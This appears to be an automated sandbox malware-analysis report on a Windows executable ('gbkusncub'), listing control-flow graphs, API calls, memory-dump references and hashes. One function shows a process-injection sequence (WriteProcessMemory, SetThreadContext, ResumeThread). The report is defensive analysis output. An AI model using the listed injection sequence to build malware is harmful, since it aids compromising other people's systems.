                                                                                                                                                        control_flow_graph 1709 78874a-78878c call 7522f0 call 718e70 1714 78878e-78879c call 71c92d 1709->1714 1715 7887a2 1709->1715 1714->1715 1721 78879e-7887a0 1714->1721 1717 7887a4-7887b0 1715->1717 1719 78886d-78891f call 718e70 call 71557e call 73d913 call 7393c8 * 2 GetCurrentDirectoryW SetCurrentDirectoryW 1717->1719 1720 7887b6 1717->1720 1754 788921-78892d call 77e387 1719->1754 1755 788973-788984 call 71e650 1719->1755 1723 7887ba-7887c0 1720->1723 1721->1717 1725 7887ca-7887cf 1723->1725 1726 7887c2-7887c8 1723->1726 1729 7887d9-7887df 1725->1729 1730 7887d1-7887d4 1725->1730 1728 7887d6 1726->1728 1728->1729 1732 788848-78884a 1729->1732 1733 7887e1-7887e4 1729->1733 1730->1728 1734 78884b-78884e 1732->1734 1733->1732 1736 7887e6-7887e9 1733->1736 1737 788858 1734->1737 1738 788850-788856 1734->1738 1740 7887eb-7887ee 1736->1740 1741 788844-788846 1736->1741 1744 78885c-788867 1737->1744 1738->1744 1740->1741 1742 7887f0-7887f3 1740->1742 1743 78883d-78883e 1741->1743 1746 788840-788842 1742->1746 1747 7887f5-7887f8 1742->1747 1743->1734 1744->1719 1744->1723 1746->1743 1747->1746 1749 7887fa-7887fd 1747->1749 1752 78883b 1749->1752 1753 7887ff-788802 1749->1753 1752->1743 1753->1752 1756 788804-788807 1753->1756 1754->1755 1764 78892f-78893a call 77e9c5 1754->1764 1767 788987-78898b call 71bd2c 1755->1767 1758 788809-78880c 1756->1758 1759 788834-788839 1756->1759 1758->1759 1762 78880e-788811 1758->1762 1759->1734 1765 78882d-788832 1762->1765 1766 788813-788816 1762->1766 1775 7889cf 1764->1775 1776 788940-788967 GetFileAttributesW SetFileAttributesW 1764->1776 1765->1734 1766->1765 1769 788818-78881b 1766->1769 1774 788990-788998 1767->1774 1772 78881d-788820 1769->1772 1773 788826-78882b 1769->1773 1772->1773 1777 78899b-7889af call 71e650 1772->1777 1773->1734 1779 7889d3-7889e5 call 789f9f 1775->1779 1780 788969-788971 SetCurrentDirectoryW 1776->1780 1781 7889b1-7889b3 1776->1781 1777->1774 1787 7889ea-7889ec 1779->1787 1780->1755 1783 788a02-788a0c SetCurrentDirectoryW 1781->1783 1784 7889b5-7889cd SetCurrentDirectoryW call 734d13 1781->1784 1783->1767 1784->1779 1787->1783 1789 7889ee-7889fb call 71e650 1787->1789 1789->1783
                                                                                                                                                        APIs
                                                                                                                                                        • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00788907
                                                                                                                                                        • SetCurrentDirectoryW.KERNELBASE(?), ref: 0078891B
                                                                                                                                                        • GetFileAttributesW.KERNEL32(?), ref: 00788945
                                                                                                                                                        • SetFileAttributesW.KERNELBASE(?,00000000), ref: 0078895F
                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00788971
                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 007889BA
                                                                                                                                                        • SetCurrentDirectoryW.KERNELBASE(?,?,?,?,?), ref: 00788A0A
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CurrentDirectory$AttributesFile
                                                                                                                                                        • String ID: *.*
                                                                                                                                                        • API String ID: 769691225-438819550
                                                                                                                                                        • Opcode ID: f329e0f4772d659a53c1a5959430135405da6454ae747de7e81672c1b5a2b0bc
                                                                                                                                                        • Instruction ID: 631b69c6f9f12ecee29be6516fb17213504c1455a2403b87f97a951152babcdd
                                                                                                                                                        • Opcode Fuzzy Hash: f329e0f4772d659a53c1a5959430135405da6454ae747de7e81672c1b5a2b0bc
                                                                                                                                                        • Instruction Fuzzy Hash: D981A172554301DFCBA4FF64C444AAAB7E9BF84310F98881AF885D7251DB38E945CB93
                                                                                                                                                        Function 007490D5 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1874 7490d5-7490e5 1875 7490e7-7490fa call 73f656 call 73f669 1874->1875 1876 7490ff-749101 1874->1876 1893 749481 1875->1893 1878 749107-74910d 1876->1878 1879 749469-749476 call 73f656 call 73f669 1876->1879 1878->1879 1882 749113-74913e 1878->1882 1897 74947c call 742b7c 1879->1897 1882->1879 1885 749144-74914d 1882->1885 1888 749167-749169 1885->1888 1889 74914f-749162 call 73f656 call 73f669 1885->1889 1890 749465-749467 1888->1890 1891 74916f-749173 1888->1891 1889->1897 1895 749484-749489 1890->1895 1891->1890 1896 749179-74917d 1891->1896 1893->1895 1896->1889 1899 74917f-749196 1896->1899 1897->1893 1903 7491b3-7491bc 1899->1903 1904 749198-74919b 1899->1904 1907 7491be-7491d5 call 73f656 call 73f669 call 742b7c 1903->1907 1908 7491da-7491e4 1903->1908 1905 7491a5-7491ae 1904->1905 1906 74919d-7491a3 1904->1906 1911 74924f-749269 1905->1911 1906->1905 1906->1907 1936 74939c 1907->1936 1909 7491e6-7491e8 1908->1909 1910 7491eb-7491ec call 743bb0 1908->1910 1909->1910 1918 7491f1-749209 call 742d58 * 2 1910->1918 1913 74933d-749346 call 74fc3b 1911->1913 1914 74926f-74927f 1911->1914 1927 749348-74935a 1913->1927 1928 7493b9 1913->1928 1914->1913 1917 749285-749287 1914->1917 1917->1913 1921 74928d-7492b3 1917->1921 1944 749226-74924c call 7497b4 1918->1944 1945 74920b-749221 call 73f669 call 73f656 1918->1945 1921->1913 1925 7492b9-7492cc 1921->1925 1925->1913 1930 7492ce-7492d0 1925->1930 1927->1928 1933 74935c-74936b GetConsoleMode 1927->1933 1932 7493bd-7493d5 ReadFile 1928->1932 1930->1913 1937 7492d2-7492fd 1930->1937 1939 7493d7-7493dd 1932->1939 1940 749431-74943c GetLastError 1932->1940 1933->1928 1935 74936d-749371 1933->1935 1935->1932 1941 749373-74938d ReadConsoleW 1935->1941 1942 74939f-7493a9 call 742d58 1936->1942 1937->1913 1943 7492ff-749312 1937->1943 1939->1940 1948 7493df 1939->1948 1946 749455-749458 1940->1946 1947 74943e-749450 call 73f669 call 73f656 1940->1947 1951 7493ae-7493b7 1941->1951 1952 74938f GetLastError 1941->1952 1942->1895 1943->1913 1954 749314-749316 1943->1954 1944->1911 1945->1936 1949 749395-74939b __dosmaperr 1946->1949 1950 74945e-749460 1946->1950 1947->1936 1957 7493e2-7493f4 1948->1957 1949->1936 1950->1942 1951->1957 1952->1949 1954->1913 1961 749318-749338 1954->1961 1957->1942 1964 7493f6-7493fa 1957->1964 1961->1913 1967 749413-74941e 1964->1967 1968 7493fc-74940c call 748df1 1964->1968 1970 749420 call 748f41 1967->1970 1971 74942a-74942f call 748c31 1967->1971 1977 74940f-749411 1968->1977 1978 749425-749428 1970->1978 1971->1978 1977->1942 1978->1977
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 6db231d086ab072eb59bda2ee085cbf093991f49f04959a87cd40bfbd20b030b
                                                                                                                                                        • Instruction ID: 94c50066577fdd6c0532fb90225d4d4ba3a14362688d9dc92de57b686e3ca513
                                                                                                                                                        • Opcode Fuzzy Hash: 6db231d086ab072eb59bda2ee085cbf093991f49f04959a87cd40bfbd20b030b
                                                                                                                                                        • Instruction Fuzzy Hash: FEC1C7B0E04289DFDF11DFA8C845BAEBBB4AF4A310F144159E614A7392C77C9D42CB65
                                                                                                                                                        Function 00712735 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 153comCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00713205: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00713236
                                                                                                                                                          • Part of subcall function 00713205: MapVirtualKeyW.USER32(00000010,00000000), ref: 0071323E
                                                                                                                                                          • Part of subcall function 00713205: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00713249
                                                                                                                                                          • Part of subcall function 00713205: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00713254
                                                                                                                                                          • Part of subcall function 00713205: MapVirtualKeyW.USER32(00000011,00000000), ref: 0071325C
                                                                                                                                                          • Part of subcall function 00713205: MapVirtualKeyW.USER32(00000012,00000000), ref: 00713264
                                                                                                                                                          • Part of subcall function 0071318C: RegisterWindowMessageW.USER32(00000004,?,00712906), ref: 007131E4
                                                                                                                                                        • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 007129AC
                                                                                                                                                        • OleInitialize.OLE32 ref: 007129CA
                                                                                                                                                        • CloseHandle.KERNEL32(00000000,00000000), ref: 007539E7
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                                                                                                                        • String ID: (&~$0$~$@(~$$~
                                                                                                                                                        • API String ID: 1986988660-1016345603
                                                                                                                                                        • Opcode ID: 992425d9a051d43cf70f5b25d08f8a9144569f754d61487c520654565514e892
                                                                                                                                                        • Instruction ID: 29ce4685195b80c8bdda99e51ca539aa772ccb7bfe581c99d44a9e4737f19d46
                                                                                                                                                        • Opcode Fuzzy Hash: 992425d9a051d43cf70f5b25d08f8a9144569f754d61487c520654565514e892
                                                                                                                                                        • Instruction Fuzzy Hash: 447196B09032C48E8398DF69AEA96553AE9F74D304310C2AAD419CB2B3EB7C5457CF19
                                                                                                                                                        Function 0071353A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00713568
                                                                                                                                                        • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00713589
                                                                                                                                                        • ShowWindow.USER32(00000000,?,?,?,?,?,?,007132EF,?), ref: 0071359D
                                                                                                                                                        • ShowWindow.USER32(00000000,?,?,?,?,?,?,007132EF,?), ref: 007135A6
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Window$CreateShow
                                                                                                                                                        • String ID: AutoIt v3$edit
                                                                                                                                                        • API String ID: 1584632944-3779509399
                                                                                                                                                        • Opcode ID: 47831f66b5a476244c78f4d8b5a9073d97590e9ce86da9f825afacf600d05537
                                                                                                                                                        • Instruction ID: e1efcfa09d10b6cc6706a59d8a4e259ac05201124ca24776ab42ba2ed63594e5
                                                                                                                                                        • Opcode Fuzzy Hash: 47831f66b5a476244c78f4d8b5a9073d97590e9ce86da9f825afacf600d05537
                                                                                                                                                        • Instruction Fuzzy Hash: 68F03A706412D47AE73507136C88E372EBDD7CBF10B00801EB904AF5A1D66D0C42DEB8
                                                                                                                                                        Function 007155F8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,007155EB,SwapMouseButtons,00000004,?), ref: 0071561C
                                                                                                                                                        • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,007155EB,SwapMouseButtons,00000004,?), ref: 0071563D
                                                                                                                                                        • RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,007155EB,SwapMouseButtons,00000004,?), ref: 0071565F
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CloseOpenQueryValue
                                                                                                                                                        • String ID: Control Panel\Mouse
                                                                                                                                                        • API String ID: 3677997916-824357125
                                                                                                                                                        • Opcode ID: 738fca2ece2ed54fde428c6032a321fcbb25eaffa12d001d9451e4a7ccca8fde
                                                                                                                                                        • Instruction ID: 7b87d1fbee6268e2f3ef997f9670abf414d62e798c902810972a13d3a4ae07ae
                                                                                                                                                        • Opcode Fuzzy Hash: 738fca2ece2ed54fde428c6032a321fcbb25eaffa12d001d9451e4a7ccca8fde
                                                                                                                                                        • Instruction Fuzzy Hash: 37117CB1610608FFDB248F68CC40DEFB7B8EF81B44F408569F805D7160E6759E8097A4
                                                                                                                                                        Function 0077DA81 Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetFileAttributesW.KERNELBASE(?,007ADC30), ref: 0077DABB
                                                                                                                                                        • GetLastError.KERNEL32 ref: 0077DACA
                                                                                                                                                        • CreateDirectoryW.KERNELBASE(?,00000000), ref: 0077DAD9
                                                                                                                                                        • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,007ADC30), ref: 0077DB36
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CreateDirectory$AttributesErrorFileLast
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2267087916-0
                                                                                                                                                        • Opcode ID: 1262d8cef4c9cc0d0a6ecb95d8cd5c04fd708b84e9a621d937c56a1791739df1
                                                                                                                                                        • Instruction ID: 6f7a7b5983ecd83392d8482bef7c627ba935447e0ba54a0ef6c3b40a0f17f9bc
                                                                                                                                                        • Opcode Fuzzy Hash: 1262d8cef4c9cc0d0a6ecb95d8cd5c04fd708b84e9a621d937c56a1791739df1
                                                                                                                                                        • Instruction Fuzzy Hash: 0D2162705082019FCB20DF28D8858AAB7F4BE5A3A4F148619F49A872E1D738DD49CB52
                                                                                                                                                        Function 00713A1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetOpenFileNameW.COMDLG32(?), ref: 00754115
                                                                                                                                                          • Part of subcall function 0071557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00715558,?,?,00754B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0071559E
                                                                                                                                                          • Part of subcall function 007139DE: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007139FD
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Name$Path$FileFullLongOpen
                                                                                                                                                        • String ID: X$`u}
                                                                                                                                                        • API String ID: 779396738-3577348204
                                                                                                                                                        • Opcode ID: a0289b258b1bc18bbf9f81ea151ab04e2ca67952ad99d99d9e1b2c81bb8d05ed
                                                                                                                                                        • Instruction ID: 2b36e7b6b1ca9a2982b3e48f949bae5eb0704aa1e3e0b06023df54abed5da984
                                                                                                                                                        • Opcode Fuzzy Hash: a0289b258b1bc18bbf9f81ea151ab04e2ca67952ad99d99d9e1b2c81bb8d05ed
                                                                                                                                                        • Instruction Fuzzy Hash: C321A471A00298DBDB45DF98C809BEE7BFD9F49304F00801AE405A7381DBFC5A898BA1
                                                                                                                                                        Function 0073016B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 007309F8
                                                                                                                                                          • Part of subcall function 00733634: RaiseException.KERNEL32(?,?,?,00730A1A,?,00000000,?,?,?,?,?,?,00730A1A,00000000,007D9758,00000000), ref: 00733694
                                                                                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 00730A15
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Exception@8Throw$ExceptionRaise
                                                                                                                                                        • String ID: Unknown exception
                                                                                                                                                        • API String ID: 3476068407-410509341
                                                                                                                                                        • Opcode ID: 15a1b730ed3df1264c105ca01a209eb5d3fb83a7ecd8fa613d79bcc732a55047
                                                                                                                                                        • Instruction ID: 02cd101caa2ac3047c9da8e3e43820786d7d5e44ab360482b549e5bc705984a5
                                                                                                                                                        • Opcode Fuzzy Hash: 15a1b730ed3df1264c105ca01a209eb5d3fb83a7ecd8fa613d79bcc732a55047
                                                                                                                                                        • Instruction Fuzzy Hash: ABF06274A0020DFBBB10BAB4EC6AA9EB77C5E00760F604121F914965E3EB7DEE56C5C0
                                                                                                                                                        Function 0076E59A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: LocalTime
                                                                                                                                                        • String ID: %.3d$X64
                                                                                                                                                        • API String ID: 481472006-1077770165
                                                                                                                                                        • Opcode ID: 7875359f1e2f13488b75ca1dd031ad590e439fd82260161141dfc51c04968c3d
                                                                                                                                                        • Instruction ID: baa3ae3e83171e3b7424c4bb49da7d4e396b48d66a26b6190795a25b8be928b8
                                                                                                                                                        • Opcode Fuzzy Hash: 7875359f1e2f13488b75ca1dd031ad590e439fd82260161141dfc51c04968c3d
                                                                                                                                                        • Instruction Fuzzy Hash: E6D012A5C04018E9CBA09A90DC48CBD737CB718700F108462FC0791041E63C95589B32
                                                                                                                                                        Function 007988B6 Relevance: 4.9, APIs: 3, Instructions: 430COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 00798C52
                                                                                                                                                        • TerminateProcess.KERNEL32(00000000), ref: 00798C59
                                                                                                                                                        • FreeLibrary.KERNEL32(?,?,?,?), ref: 00798E3A
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Process$CurrentFreeLibraryTerminate
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 146820519-0
                                                                                                                                                        • Opcode ID: 973b716b49cc01a503f367137b982a90323f277699ca4be33d51b5df65cc92c4
                                                                                                                                                        • Instruction ID: d4c3497f8574d5a1042583eb4d32b52a543fe44aaf1875a787ad1ead9df0ed1f
                                                                                                                                                        • Opcode Fuzzy Hash: 973b716b49cc01a503f367137b982a90323f277699ca4be33d51b5df65cc92c4
                                                                                                                                                        • Instruction Fuzzy Hash: 7E126C71608340DFCB54DF28D494B6ABBE5FF89314F14895DE8898B292CB38ED45CB92
                                                                                                                                                        Function 013C4A41 Relevance: 4.6, APIs: 3, Instructions: 149threadinjectionCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • WriteProcessMemory.KERNELBASE ref: 013C4B71
                                                                                                                                                        • Wow64SetThreadContext.KERNEL32(?,?,0000002E), ref: 013C4BBC
                                                                                                                                                        • ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000,?,0000002E), ref: 013C4BDC
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 01391000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Thread$ContextMemoryProcessResumeWow64Write
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2794113056-0
                                                                                                                                                        • Opcode ID: b64da37fda4788091d17846e6439d710283238c32473d2b6d1def85a699ab449
                                                                                                                                                        • Instruction ID: ab0add11206e4f646cc5e46be16562e592a7029e33e6bf0f8b72f152ddd14c48
                                                                                                                                                        • Opcode Fuzzy Hash: b64da37fda4788091d17846e6439d710283238c32473d2b6d1def85a699ab449
                                                                                                                                                        • Instruction Fuzzy Hash: DF51823868D781AFD306ABB4DC22B153B71AF93B18F1540DED2808F1E3D6665C19C762
                                                                                                                                                        Function 013C4A41 Relevance: 4.6, APIs: 3, Instructions: 149threadinjectionCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • WriteProcessMemory.KERNELBASE ref: 013C4B71
                                                                                                                                                        • Wow64SetThreadContext.KERNEL32(?,?,0000002E), ref: 013C4BBC
